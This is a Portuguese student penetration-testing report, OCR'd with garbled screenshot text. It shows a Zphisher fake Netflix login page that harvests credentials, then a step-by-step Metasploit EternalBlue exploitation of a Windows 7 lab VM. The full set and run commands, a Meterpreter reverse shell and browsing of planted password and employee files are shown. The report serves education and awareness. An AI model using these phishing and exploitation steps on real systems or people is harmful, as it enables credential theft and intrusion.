Figura 43_img_zphisher

Como podemos ver, essa ferramenta ja nos oferece varias op¢des de paginas falsas,
como Facebook, Instagram, Netflix, Discord, entre outras. Cada uma dessas paginas é
cuidadosamente clonada para se parecer com o site oficial, com o objetivo de enganar a
vitima e induzi-la a inserir informacdes pessoais, como login e senha.

Essas opgOes tornam o ataque mais direcionado, pois o atacante pode escolher o servico
mais utilizado pela vitima, aumentando assim a chance de sucesso no golpe — o que
destaca a importancia da conscientizacdo e da verificacdo do endereco (URL) de sites
antes de inserir qualquer dado sensivel.

Que tal usarmos a netflix?
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Bastou escolher o numero da nossa, e escolher o “localhost” (Isso significa que o site
serd acessivel apenas no computado)

-] Waiting for

Figura 44_img_zphisger_exe

Ao seguir com o ataque, copiamos um e-mail oficial e substituimos o link original pelo
link gerado pela ferramenta (o link aparece em forma de nimero ou como "localhost",
pois esta sendo executado localmente, apenas no nosso computador).

Se estivéssemos usando um servico como o Ngrok, o link seria publico, e qualquer
pessoa com acesso a internet poderia acessa-lo. Essa técnica é comum em ataques de
phishing, onde o atacante tenta enganar a vitima com uma pagina falsa que imita um
site legitimo. Ao clicar e inserir dados nessa pagina, a vitima entrega suas informacgdes
ao atacante.

0 resultado ficaria assim:

® 127.0.0.1:8080/login.html| Novo Chrome disponivel

Sign In

Email

Password

+/ Remember me

New to Netflix? Sign up now

Figura 45_img_netflix_falso
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Se vocé clicasse no link e fosse direcionado para essa pagina, suspeitaria que se trata de
uma fraude?

A verdade é que, muitas vezes, essas paginas falsas sdo visualmente idénticas as
originais. Por isso, um usudrio desatento dificilmente perceberia a diferenca. Esse é o
principal perigo da engenharia social combinada com phishing: ela explora a confiancga
e a desatencgao das vitimas, nao falhas técnicas.

E por isso que campanhas de conscientizagdo e treinamentos de seguranca sdo tdo
importantes dentro de empresas e organiza¢des. Ensinar os usudrios a reconhecer sinais
sutis de fraude — como erros de digitacdo na URL, auséncia de certificado de seguranca
(HTTPS), ou o remetente de um e-mail suspeito — pode evitar sérios danos.

E se voce caiu na fraude e colocou suas credenciais, olha o que aparece para o invasor:

~/zphisher/auth
cat usernames.dat

Netflix Username: Pass:
Netflix Username: testeconta@gmail.com Pass: testedepalavrapassel23

Figura 46_img_zphisher_dados

Alé de mostrar 0s cadastros, mostra oS IPs também:

Waiting for Lt

Figura 47_img_zphisher_ips

Tomo cuidados com os sites que voce entra.
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Teste de Invasao

(Pentest) em um Ambiente com Windows 7

Apos explorar ataques baseados em engenharia social, agora focaremos em um exemplo
pratico de teste de penetracdo em uma maquina com o sistema operacional Windows
7.

O objetivo desse pentest é simular um ataque real controlado para identificar
vulnerabilidades que ainda existem nesse sistema, que hoje ja é considerado obsoleto e
sem suporte oficial da Microsoft. Isso significa que o Windows 7 nao recebe mais
atualizagbes de seguranga, tornando-o um alvo comum em redes corporativas que
ainda utilizam versdes antigas do sistema.

Ferramentas Utilizadas
Para esse teste, utilizei:
e Kali Linux como sistema atacante (em uma mdquina virtual)
e Windows 7 SP1 como alvo (também em maquina virtual)
e Ferramentas do Kali como:
o nmap — para identificar portas e servigos ativos
o msfconsole / Metasploit — para explorar vulnerabilidades

o exploit/windows/smb/ms17_010_eternalblue — um exploit conhecido
para o Windows 7

Antes de continuarmos com o passo a passo, vou explicar em geral as ferramentas que
usei, e o porque ter escolhido o windows7.

Por que escolhi o Windows 77

O Windows 7 foi um dos sistemas operacionais mais utilizados no mundo por muitos
anos. No entanto, desde janeiro de 2020, a Microsoft encerrou oficialmente o suporte a
essa versao, o que significa que ndao sao mais fornecidas atualizag6es de seguranga,
deixando-o vulneravel a diversos tipos de ataques.

Mesmo apés o fim do suporte, muitas empresas, instituicGes publicas e usuarios
domeésticos ainda utilizam o Windows 7 por questdes de compatibilidade ou falta de
atualizagdo de infraestrutura. Isso faz com que ele seja um alvo atrativo e realista para
testes de seguranca e demonstracées educacionais.
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Para este pentest, irei utilizar o exploit EternalBlue (MS17-010), que se tornou
amplamente conhecido apds ser utilizado em ataques reais, como o ransomware
WannaCry. Essa vulnerabilidade afeta o servico SMBvl do Windows e permite a
execucao remota de cédigo sem necessidade de autenticagdao. O EternalBlue é uma
escolha ideal nesse cendrio, pois explora uma falha critica que nunca foi corrigida em
sistemas que permaneceram sem atualizagbes, como o Windows 7. Isso torna a
exploragao viavel, pratica e didatica, especialmente em ambientes de laboratério.

Figura 48_img_win7

Metasploit Framework

O Metasploit é uma das ferramentas mais poderosas e versateis para pentest. Ele
permite identificar vulnerabilidades, executar exploits e manter o acesso ao sistema
comprometido. Para este relatdrio, utilizei o mdédulo de exploracdo conhecido como
MS17-010 EternalBlue, uma vulnerabilidade critica no protocolo SMB do Windows.

X root@testserver: fhome RN

PAYLOAD

Figura 50_img_metasploit

Figura 49_img_metasploit_kali
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Penetracdo

Para o comego da penetragao, precisei procurar bastante pela internet ISOs antigas do
Windows 7 para utilizar em minha maquina virtual no VirtualBox. Muitas das opg¢des
disponiveis atualmente vém com bloqueios, versdes modificadas ou exigem chaves de
ativagao.

Apdbs diversas tentativas, encontrei um site bastante interessante e confidvel:
https://archive.org. Esse site funciona como um arquivo digital publico, onde é possivel

encontrar versGes antigas de sistemas operacionais, softwares e outros conteudos
histdricos. Através dele, consegui baixar uma ISO original do Windows 7, essencial para
montar um ambiente de teste realista.

O processo de instalacdo do win7 (window 7), foi igual a instalacao do kali.

Figura 51_img_win7_kali

Como mostrado na imagem, estou utilizando o VirtualBox para simular um ambiente de
teste, onde tenho duas maquinas virtuais configuradas: a direita, o Windows 7 (vitima),
e a esquerda, o Kali Linux (atacante).

Para construir um cendrio realista, criei falsas pastas para simular informacoes pessoais,
como alguns contactos, e-mails e senhas .Vamos supor que realizei com sucesso um
ataque de engenharia social contra a maquina com Windows 7, e como resultado,
obtive o endereco IP da vitima:

IP da vitima: 192.168.100.5

Esse endereco serd utilizado nos préximos passos para explorar vulnerabilidades
conhecidas e demonstrar um exemplo pratico de teste de penetracao.
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Penetracao — Passol

Ajustei o endereco IP da minha maquina Kali Linux para estar na mesma sub-rede da
vitima, atribuindo o IP 192.168.100.10. Isso garante que ambas as maquinas possam se

comunicar na mesma rede virtual.

Para verificar a conectividade entre elas, utilizei o comando:

ping 192.168.100.5

Esse teste confirma se a maquina atacante consegue alcancgar a vitima pela rede, passo
essencial antes de prosseguir com qualquer tentativa de exploragao.

T kalidinux-2025.cvirtualbox-4md64 (Em execugho) - Otacle VitualBox
Fichero Méguina Vet Entad - Dispositves  Ajds

nm gl

@ NIE

3 el @l
Fie Actors BGR View Wep

MIMIW

3 ping lu‘.m 10@ S

PING 292.268.200.5 (102.268.200.5) S6(84) bytes of data,

64 bytes From 202.268.200.5¢ dcmp_seqel ttl=128 time=1,27 ms
b4 bytes From 202.168.200.5 icap_seq=2 ttl=128 time=0.890 ms
b4 bytes Fron 102.168.200.5: icmp_seqs3 ttl=128 time=0,807 ms
b4 bytes From 192.168.200.5: icmp_seq=d ttl=128 time=0,711 ms
64 bytes From 190.268.100.5: icmp_seqsS tt1=128 time=0.752 ms
64 bytes Fron 202.268.000.5¢ dcmp_seq=6 tt1=128 tine=0.799 ms
b4 bytes ¥ron 192.168.200.5: icap_seq=7 tt1=128 tine=0.937 ms
b4 bytes From 190.168.200.5: icmp_seq=8 tt1-128 time=0.727 ms

Figura 52_img_ping

41

i |‘.n

o ANLIUNT |
v N




Penetracao — Passo?2

Agora que a comunicagdao com o IP da maquina-alvo foi estabelecida com sucesso, o
préximo passo é realizar um escaneamento de portas utilizando o Nmap. Vamos ver
quais servicos estdo em execu¢do na maquina da vitima, além de possiveis
vulnerabilidades exploraveis.

Y kali-linux-2025.1c-virtualbox-amd64 [Em execugdo] - Oracle VirtualBox

Ficheiro Maquina Ver Entrada Dispositivos Ajuda

T Y X Ialgall

A

File Actions Edit View Help

— ali)-[=]
L$ nmap 192.168.100.5

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 10:25 EOT
Nmap scan report for 192.168.100.5

Host is up (0.00047s latency).

Not shown: 991 closed tcp ports (reset)

PORT STATE SERVICE

135/tcp  open
139/tcp open
445/tcp  open
49152/tcp open
49153/tcp open
49154/tcp open
49155/tcp open
49156/tcp open
49157/tcp open

MAC Address: 08:00:27:60:85:80 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds

msrpc
netbios-ssn
microsoft-ds
unknown
unknown
unknown
unknown
unknown
unknown

Figura 53_img_nmap_alvo

Penetracao — Passo3

Como podemos observar no passo 2, o Nmap identificou diversas portas abertas na
maquina-alvo. No entanto, uma porta em especial chama a atencdo: a porta 445

(microsoft-ds).

Essa porta é utilizada para o protocolo SMB (Server Message Block), que permite o
compartilhamento de arquivos e impressoras em redes Windows. E justamente essa
porta que nos interessa, pois foi nela que foi encontrada uma das vulnerabilidades mais
criticas da histdria: o EternalBlue.

Como mencionado anteriormente, a falha explorada pelo EternalBlue afeta o servigo
SMB, permitindo que um atacante remoto execute cddigo malicioso na maquina
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vulneravel sem autenticagdo. Com isso, podemos avancar para a proxima etapa, onde
exploraremos essa brecha utilizando uma ferramenta adequada, como o Metasploit.

Vamos comecar por abrir o metasploit bastando apenas digitar no prompt msfconsole:

/mnt/c/Users/samue
msfconsole
Metasploit tip: You can pivot connections over sessions started with the
ssh_login modules

[%%%%%%%%%
[% .—

[% |

E

[%%%%

[%%%

%%

[%

el e e e e e e e e

m

2519 exploits - 1296 auxiliary — U431 post
161@ payloads - U9 encoders — 13 nops
9 evasion

oL
|
1
|
1

oL
|
1
|

Lo W W W |

oL
|
1
|
1

Metasploit Documentation: https://docs.metasploit.com/

Figura 54_img_msfconsole

O Metasploit Framework é uma das ferramentas mais poderosas no campo do pentest,
pois possui uma vasta base de dados com centenas de mdédulos prontos para explorar
vulnerabilidades conhecidas.

Para facilitar nossa busca e evitar perder tempo navegando manualmente entre os
maodulos, podemos utilizar o comando de busca direto no console do Metasploit (msf6).
No nosso caso, como queremos explorar a falha EternalBlue, basta digitar:

-- search eternal blue
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exploit/windows/smb/ms17_010_eternalblue average MS17-01€ EternalBlue SMB Remote Windows Kernel Pool Corruptio

\_ target: Automatic Target

\_ target: Windows 7

\_ target: Windows Embedded Standard 7
\_ target: Windows Server 2088 R2

\_ target: Windows 8

\_ target: Windows 8.1

\_ target: Windows Server 2012
\_ target: Windows 18 Pro
\_ target: Windows 10 Enterprise Evaluation

10 exploit/windows/smb/ms17_810_psexec 2017-03-14 normal M517-01@ EternalRomance/EternalSynergy/EternalChampion SMB Re

mote Windows Code Execution
\_ target: Automatic
\_ target: PowerShell
\_ target: Native upload
\_ target: MOF upload
\_ AKA: ETERNALSYNERGY
\_ AKA: ETERNALROMANCE
\_ AKA: ETERNALCHAMPION
\_ AKA: ETERNALBLUE 5 5 o

19 auxiliary/admin/smb/ms17_816_command 2017-83-14 normal MS17-816 EternalRomance/EternalSynergy/EternalChampion SMB Re

mote Windows Command Execution
\_ AKA: ETERNALSYNERGY
\_ AKA: ETERNALROMANCE
\_ AKA: ETERNALCHAMPION
\_ AKA: ETERNALBLUE 5 5 o

auxiliary/scanner/smb/smb_ms17_816 . normal MS17-8168 SMB RCE Detection
\_ AKA: DOUBLEPULSAR . 5
\_ AKA: ETERNALBLUE . . 5
exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 SMB DOUBLEPULSAR Remote Code Execution

\_ target: Execute payload (x6u) 5 5 o
\_ target: Neutralize implant

Figura 55_img_metasploit_modulos

Somente com esse comando de busca, o Metasploit ja nos retornou varios médulos
relacionados ao EternalBlue, cada um com suas variacdes e finalidades especificas.

Para este teste, utilizaremos o primeiro da lista, que é um dos mais classicos e
amplamente utilizados em ambientes de laboratério:

exploit/windows/smb/ms17_010_eternalblue

Este modulo é direcionado a vulnerabilidade MS17-010, descoberta em sistemas
Windows, especificamente em implementag¢des do protocolo SMBv1. A falha permite
gue um atacante remoto execute cddigo arbitrario no sistema vulneravel — sem
necessidade de autenticacao.

Para carregarmos o modulo no Metasploit, utilizamos o comando:

use exploit/windows/smb/ms17_010_eternalblue

msf6 > use exploit/windows/smb/msl7_010_eternalblue

No payload configured, defaulting to windows/x6l/meterpreter/reverse_tcp
msf6 exploit( ) > |

Figura 56_img_modulo_eternalblue

Ao retornar o nome do médulo em vermelho, o Metasploit indica que ele foi carregado
com sucesso. Isso significa que ja estamos dentro do médulo selecionado, prontos para
configurar os parametros necessarios e executar o exploit.

A partir deste ponto, o processo se torna ainda mais interessante. Com o maddulo
carregado com sucesso, podemos visualizar as opc¢des disponiveis para configuracao,
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como o alvo o e o endereco IP da vitima.

msf6 exploit( ) = show options

Module options (exploit/windows/smb/ms17_816_eternalblue):

Name Current Setting Required Description

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit
/basics/using-metasploit.html

RPORT The target port (TCP)

SMBDomain (Optional) The Windows domain to use for authentication. Only affects Win
dows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machin
es.

SMBPass (Optional) The password for the specified username

SMBUser (Optional) The username to authenticate as

VERIFY_ARCH true Check if remote architecture matches exploit Target. Only affects Windows

Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

VERIFY_TARGET true Check if remote OS matches exploit Target. Only affects Windows Server 20

88 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x6U/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.25.241.37 yes The listen address (an interface may be specified)

LPORT qouy yes The listen port

Exploit target:

Figura 57_img_metasploit_opg¢des_dados

Explicando de forma simples:

Nome Descricao
RHOSTS IP da vitima (maquina Windows 7). Ex: 192.168.100.5
RPORT Porta do servico vulneravel (padrdo é 445, usada pelo SMB).

SMBDomain Dominio Windows (opcional). Ndo é necessario em maquinas locais.

SMBPass Senha de autenticacdo SMB (opcional, normalmente ndo usado aqui).

SMBUser Usudrio SMB (também opcional).

VERIFY_ARCH |Verifica se a arquitetura (x64) da maquina alvo é compativel.

Verifica se o sistema operacional da vitima é compativel (Windows 7,

VERIFY_TARGET
- Server 2008 R2 etc).

Nome Descricao

Técnica de encerramento apds execucdo (padrdo: thread, segura para a
EXITFUNC o
maioria dos casos).

IP do atacante (Kali Linux) — ou seja, onde a vitima vai se conectar de volta.
No exemplo: 172.25.241.37.

LHOST

LPORT Porta do atacante onde recebera a conexdo da vitima. No exemplo: 4444,

45



®
<

Apesar de existirem varias op¢des configuraveis antes de realizar a exploracdo, nem
todas sdo obrigatdrias. No caso deste modulo especifico (ms17_010_eternalblue), os
parametros realmente essenciais sao:

e RHOSTS: o IP da vitima (ex: 192.168.100.5);
e LHOST: o IP do atacante (ex: 192.168.100.10);

e RPORT: a porta de execuc¢ao de servigo.

A porta de destino do servigo vulneravel ja vem predefinida como 445, pois este mddulo
foi projetado especificamente para explorar o protocolo SMB, que opera justamente
nessa porta. Ainda assim, se necessario, é possivel alterar esse valor, desde que o servico
vulneravel esteja sendo executado em outra porta.

Sendo assim apenas nos restando preencher os requisitos usando o comando SET:

ﬂql-it(uindws/smb/ms17_010_eterna1blue) > set RHOSTS 192.168.100.5

RHDSTS — 192.168.100.5
ﬁuplsit(uildﬂs/snﬂ:/msﬂ_olo_eterna'lblue) > set LHOST 192.168.100.10
1HDST = 192.168.100.10

Figura 58_img_metasploit_dados_colocados
Depois de cada SET, ele confirma em baixo, depois disso, basta digitar:
e Run;

e Exploit
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Para esse modulo, tanto o run quanto o exploit irdo executar na mesma o modulo.

T kali-linux-2025.1¢-virtualbox-amd64 [Em execuglio] - Oradle VirtualBox X | @
Ficheito Msquina Ver Entrada Dispositivos Ajuda Ficheiro Msquina Ver Entrada Dispositivos Ajuda
SomRkReoo-8ll b, owapgny|ace
(X}
File Actions Edit View Help
al@kal:~ B i@kt~ B i@kt~ B

nsf6 exploit(iwins ternalblue) > ren
] Started 192.168.100.10: 4444
iary/scanner/sub/smb_ms17_010 as check
~ Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (
-~ Scanned 1 of 1 hosts (100X complete)
~ The target is vulnerable. RecycleBin,  virussouss
Connecting to target for exploitation.

©x00DODDOD 57 69 6e 64 6 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
©0x00000D10 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
©=00000020 65 20 50 61 63 6b 20 31 e Pa
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.
Sending all but last fragment of exploit packet
Starting nen-paged peol grooming
g SBV2 buffers
% w1 comection creating free hole adjacent to SHBVZ buffer.

cket
LUE overwrite completed successfully (xC000000D)1
= Sl o S lcarvepted comection
- Triggering free of corrupted buffer.

s
O=00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
©<00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
0=00000020 65 20 50 61 63 6b 20 31 e Pack 1
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 17 Groom Allocations.

Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBy2 buffers
Closing SMBv1 mnneuion znann; free hole adjacent to SMBv2 buffer.
Sending final SMBY2 buff
Sending last frageent ol upuut packet!
Receiving response from exploit packet
ETEALSLUE overwrite completed Successfully (9xc0000000) 1
- ing #gg to corrupted connection,
~ Trigs ggering free of corrupted buffer,
e uozxus bytes) to 192,168.100,5

BONT /2D EY @HECR.ORETO BOENET ¢ METN @B R DRET
.H ] . \‘“ IR L P

Figura 59_img_invasdo_sucedida

O exploit foi bem-sucedido, como resultado, o Metasploit abriu uma sessao
Meterpreter, confirmando que o sistema foi comprometido com sucesso.

Essa etapa simboliza a invasao completa do sistema, permitindo ao atacante realizar
diversas a¢des remotas, como:

e Exploragdo do sistema de arquivos,
e Execucdo de comandos,

e Coleta de informacgodes sensiveis.

Agora que ja estamos dentro do computador da vitima, podemos comecar a explorar o
sistema.

Com o Meterpreter, temos acesso privilegiado e conseguimos executar diversos
comandos, como listar arquivos, capturar senhas salvas, fazer capturas de tela e até
mesmo ativar microfone ou webcam.
Essa etapa é essencial para entender o impacto que uma invasao pode causar, e serve
como um alerta sobre a importancia de manter sistemas atualizados e protegidos.
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Com o meterpreter pronto...

) Kali-linux-2025.1c-virtualbox-amd64 [Em execugio] - Oradle VirtualBox

cheiro Maquina Ver Entrada Dispositivos Ajuda

ST X Jalal]

— L

=5t N

Home

File Actions Edit View Help
-8 keli@kel:~ B

tage (203846 bytes) to 192.168.

er session 1 opened (192.168.1 444 - 192.168.100.5:49159) at 2025-06-13 10:43:22 -0400
8.100.5: 44!
8.100.5: 44!

00.5:445 -

Figura 60_img_metasploit_meterpreter

Vamos digitar o comando sysinfo. Esse comando nos fornece informag¢des detalhadas
sobre o sistema operacional da maquina comprometida, como o nome do sistema, a
versdo do Windows, o nome do computador e a arquitetura (32 ou 64 bits).
Esses dados sdo essenciais para entendermos o ambiente da vitima e, caso
desejassemos continuar com outras acdes, saberiamos quais ferramentas ou cargas
Uteis seriam compativeis com aquele sistema.

S emmBOEEl) L O ® & @no3| a
‘ \ = —

m N e \"3~-—~,'ﬂ

& kali@kali: ~
File Actions Edit View Help

i@k~ B | i@k~ B |

meterpreter > sysinfo

Computer : WINDOWS7PENTEST

oS : windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter >

Figura 61_img_sysinfo
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Como podem ver na imagem, o comando retornou os detalhes do sistema. Esse tipo de
informacdo pode ser extremamente Util em um teste de penetracdo (como é o meu
caso), mas também pode ser explorado em outros tipos de ataques cibernéticos.

Para o préximo comando, vamos realizar uma agao mais direta: acessar os arquivos que
estdo localizados na drea de trabalho (Desktop). Para isso, primeiro usamos o comando
“Is”, que serve para listar os arquivos e pastas do diretdrio atual, permitindo que
saibamos onde estamos. Em seguida, utilizamos o comando “cd” para navegar até o
diretdrio desejado.

Com isso, conseguimos explorar os arquivos armazenados na maquina da vitima, o que
pode incluir documentos importantes, senhas salvas ou outras informacdes sensiveis
que seriam extremamente valiosas em um contexto real de ataque.

Fichelro Msquina Ver Entrads Dispositivos  Ajuda

| X O s guofa o

wsock32. gL

wsgacons . exe
0400 wtsapil2.dll
woapi. @l

h-Tw
ipfler, o1

e et S
AONS 78BN @McroReT BOENSGsmO

Hmeodun :

Figura 62_img_listar_arquivos

Como podem ver, o comando Is nos listou todos os arquivos e diretdrios presentes no
local em que estamos dentro do sistema da vitima. Essa listagem é essencial para
sabermos com o que estamos lidando, pois permite identificar possiveis arquivos
sensiveis, diretdrios importantes e até mesmo rastros de atividades do usuario. A partir
dessa visualizacao, podemos navegar de forma mais precisa pelo sistema, localizando
dados relevantes como documentos pessoais, arquivos de senhas ou registros de e-
mails.
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Acessar Desktop

peterpreter > cd C://users
meterpreter > s
Listing: C:\users

.....

Mode Size Last modified

040777/ ruxruxrwx 0

040555/r-xr-xr-x 8192
040777/ ruxrwxrwx  ® 2009-07-14 01
040555/ r-xr-xr-x 4096 2009-07-14 09
100666/ rw-rw-rw- 174 il 2009-97-14 09!
040777/ rwxrwxrwx 8192 2025-95-23 13

2009-07-14

-—, 0 e
BONT /BO TN @M oreTO
Emaod@

Figura 63_img_acessar_desktop

O comando a seguir foi:

“ cd C:\\Users”
Esse comando foi necessario para acessarmos a pasta onde ficam os perfis de usuarios
do sistema. Dentro dessa pasta, € comum encontrarmos subpastas com os nomes dos
usuarios registrados no Windows, e nelas estdo armazenados documentos, drea de
trabalho (Desktop), downloads e outros arquivos pessoais. Navegar até essa localizagao
¢ um passo importante para identificar informagdes sensiveis, como documentos
confidenciais, senhas salvas ou outros dados que possam ser Uteis durante um pentest.

Dando um zoom na imagem anterior, ele nos mostrou esses arquivos

Mode Last modified Name

All Users
Default
Default User
Public
desktop.ini
vboxuser

040777/ rwxrwxrwx
040555/ r-xr-xr-x
040777/ ruxrwxrwx
040555/ r-xr-xr-x
100666/ rw-rw-rw-
040777/ rwxrwxrwx

256
331
256
226
324

it

meterpreter > fj
Figura 64_img_arquivos_mostrados
Nosso
proximo passo é entrar no diretdrio "vboxuser".
Mas por que nao explorar o arquivo desktop.ini, como aparece na imagem?

O arquivo desktop.ini é apenas um arquivo de configura¢do do sistema, utilizado pelo
Windows para personalizar o comportamento visual das pastas. Ele ndo contém
informagdes sensiveis ou Uteis para um pentest ou exploracdao, sendo geralmente
irrelevante nesse tipo de analise.

Por isso, decidimos entrar na pasta "vboxuser", que é o nome do usudrio do sistema.
Nela, é mais provavel encontrarmos dados pessoais, como documentos, imagens,
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arquivos salvos, credenciais ou outras informagdes relevantes para o nosso cendrio de
teste de intrusao.O comando sendo:

“cd vboxuser” —entrar

“Is” -- para listar os arquivos e pastas do diretério atual

My Documents

NTUSER. DAT
95-23 s NTUSER. DAT{016888bd-6c6f -11de-8d1d-001e0bcde3ec) . TH. bLf
2025-95-23 14:18: 6888bd-66-11de-8d1d-001e0bcde3ec} . THContaine)
gtrans-ms
2025-95-23 14 6888bd-6¢6f-11de-8d1d-001e0bcdedec) . THContaine)
.regtrans-ms
r  2025-95-23 13,
29; b 19 Pictures
Printhood
Recent
ed Games
rches
SendTo
start Menu
Templates
Vid

‘;‘\ Activate Windows now
c ressage o start scthtid

14061
2025-95-23 13 ntuser, dat, LOG2
2025-95-23 13 ntuser, ini

Figura 65_img_vboxuser

Visto na imagem, foi nos dado todos os dados do usuario do computador como
documentos, dowloads, fotos, videos e etc...

Como dito antes, vamos ver as pastas do dektop usando o mesmo método:

peterpreter > cd Desktop

peterpreter > 1s
Listing: C :\users\vboxuser\Desktop
—f

| mode size Type Last modified Name

| - 155:45 - dores
040777/ruxrwxrux 4095 dir 2025-85-26 19:55:45 -0400 administra:
100666/rw-Tw-Tw- 282 ¥l 106:24 -0400 desktop.ini
040777/ ruxrwxrux © dir :58:01 -0400 pessoal
040777/rwxruxrux ©® dir 2025-85-24 15:35:18 -0400 senhas

| meterpreter >l

Figura 66_img_vbox_dados

Invasdo feita com sucesso! Vamos conferir?

’l‘i\ Activate Windows now

Click this message to start activation.

Fira 67_img_dados_conferidos
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Depois de ter acceso ao computador e as pastas sensiveis, a Unica coisa que os resta é

pegar (ler) as informacoes.
- s ~0400 etHood

dir “0400 Pictures

dir <0400 PrintHood

dir L) Recent

dir t Saved Games

040555/ r-xr-xr-x
040777/ rwxruxrwx
040777/ rwxrwxrwx
040555/ r-xr-xr-x

dir SendTo

dir Start Menu
dir 0 t Templates
dir Videos

040777/ rwxrwxrwx
040777/ rwxrwxrux
040777/ rwxrwxrwx
040555/r-xr-xr-x
100666/ rw-rw-rw- 262144 Fil ntuser.
100666/ rw-rw-rw- © fil  2025-05-23 ntus:::::tgi
100666/rw-rw-Tw- 20 Fil  2025-05-23 13: ntuser.ini

L
0
0
0o
040555/r-xr-xr-x @ dir ! Searches
o
°
°
°

meterpreter > cd Desktop

> 1s
Listing: C:\users\vboxuser\Desktop
—_—

Mode Type Last modified Name
040777/ rwxrwxrux dir 2025-05-24 19:55:45 -0400 administ

: :55: radores
100666/ rw-rw-Tw- fil  2025-95-23 13:06:24 -0400 desktop.ini
040777/ rwxrwxrwx dir 2025-05-24 19:58:01 -0400 pessoal
040777/ rwxrwxrwx dir 2025-95-24 15:35:18 -0400 senhas

meterpreter > cat administradores
[-] administradores is a directory
> cod administradores
meterpreter > 1s
Listing: C:\users\vboxuser\Desktop\administradores
—_—_—_—

Mode Size Type Last modified [ ELT

i:::gﬁ/r-—n-—u- 1424 f:;‘l 2025-95-24 19:39:11 -0400 Rui Martins Pessoa.contact
10066:/"—"-"- 2201 fg‘l 2025-05-24 19:48:25 -0400 Samuel Luis Sousa.contact
/Tw-Tw-vw- 1593 £il  2025-95-26 19:54:12 -0400 Teresinha Silva Costa,contact

meterpreter > fj

b N G

Figura 68_img_lendo_informagoes
Depois de ter entrado na pasta “administradores”, conseguimos ver 3 contactos

guardados:
e Rui Martins Pessoa
e Samuel Luis Sousa

e Teresinha Silva Costa

Se esse pentest fosse algo mais sério, esse tipo de informacdo seria muito perigosa,

teriamos o nome de todos os administradores.
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Voltando ao dektop e entrando na pasta “pessoal”...

> 1s uores

\users\vboxuser\msk!op\aﬂ-lnhtnﬁnru

Size Type \Last modified

Name
100666/ rw-rw-rw- 1424 v R
100666/ rw-rw-rw- 2201 20 10140128 “0AY SencLind Pesson contuc

fciedicint? 148! amuel Luis Sousa, 1
100666/ rw-rw-rw- 1593 26 19154112 <0400 Teresinha ’sn‘i‘l’zoi‘i'l'.i‘oi..m
meterpreter > ¢d .
> s

Listing: C:\users\vboxuser\Desktop
—

Mode Size Type Last modified Name

4096 dir 2025-05-24 19:55:45 -0400 administradores

282 fil 2025-05-23 1 desktop.ini

° dir 2025-05-24 19: pessoal
40777/ TwxTWXTWX O dir 2025-05-24 15:35:18 -0400 senhas

> cd pessoal

s\vboxuser\nesktop\pesson

Name

size Type Last modified
bR

g X jonarios. >t
i 025 05 2 17:3 149 -0 00 funciol

. = > /,‘ 4 - .‘ CTRLDIRETO -
peterpreter > | : -y aoas -
- ~ o ™ ' ' o 9

\

Figura 69_img_dados_funcionarios

Esta um arquivo em formato de texto (txt) de funcionarios. Usando o comando “cat”, ele
nos pemite ler esses arquivos....

peterpreter > cat funcionarios.txt
# funcionarios

‘ urlo:_hrqmnil.:ol
Anai23agmail.com

| sAmuelsousadgmail.com
Foupol”’mll.:ﬂ
Joao_urtnloullll.cel

Jul h_untomnu.co-
peterpreter > i

!“-ﬁ}-ﬁ % @ W CTRL DIREITC

" . o

Figura 70_img_dados_emails
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Quando executamos o comando “cat...”, ele nos deu os seguintes e-mails:

e Carlos braga@gmail.com

e Anal23@gmail.com

e samuelsousa@gmail.com

e Felipe9999@gmail.com

e Joao martelo@gmail.com

e Julia santos@gmail.com

Com esta pratica, concluimos a simulagdo de um ataque direcionado ao Windows 7,
utilizando uma vulnerabilidade critica e amplamente conhecida, o EternalBlue.
Demonstramos como, com ferramentas adequadas e conhecimento técnico, é possivel
explorar falhas de seguranca em sistemas desatualizados.

A atividade teve como objetivo reforcar a importancia de manter os sistemas sempre
atualizados, adotar boas praticas de seguranca e compreender como os ataques
ocorrem na pratica para melhor preveni-los no mundo real.

Essa pratica nos proporcionou uma visao clara das etapas de um pentest — desde a
varredura, identificacdo de vulnerabilidades, exploragao até o acesso ao sistema alvo
— consolidando o aprendizado de forma pratica e consciente.

Conclusao

Ao longo deste relatério, foi possivel demonstrar, de forma pratica e objetiva, como
diversas técnicas de seguranca ofensiva podem ser utilizadas tanto para identificar
vulnerabilidades quanto para conscientizar sobre os riscos reais no ambiente digital.

Iniciamos com o uso da ferramenta SQLMap, que nos permitiu realizar ataques de
injecao SQL e extrair credenciais diretamente de um banco de dados vulneravel. Este
exemplo destacou a importancia de implementar senhas fortes e proteger aplicagdes
web contra falhas bdsicas, como validacdao inadequada de entradas de usudrio.
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Em seguida, exploramos o conceito de engenharia social, utilizando ferramentas como
o Zphisher para criar pdginas falsas que imitam redes sociais populares. Este exemplo
evidenciou o quanto o fator humano pode ser explorado por atacantes e reforcou a
necessidade de educagao digital, tanto para usudrios comuns quanto para profissionais
da area, alertando para o perigo de clicar em links suspeitos ou fornecer informagdes
em sites nao verificados.

Com o ambiente Kali Linux, mostramos como uma distribuicdo voltada para seguranca
pode ser usada em simulagdes controladas de ataque, fornecendo um arsenal robusto
de ferramentas para anadlise, exploracdao e pods-exploracdo. Através de um pentest
simulado em uma maquina com Windows 7, utilizamos o exploit EternalBlue para
demonstrar uma das vulnerabilidades mais conhecidas e impactantes da ultima década,
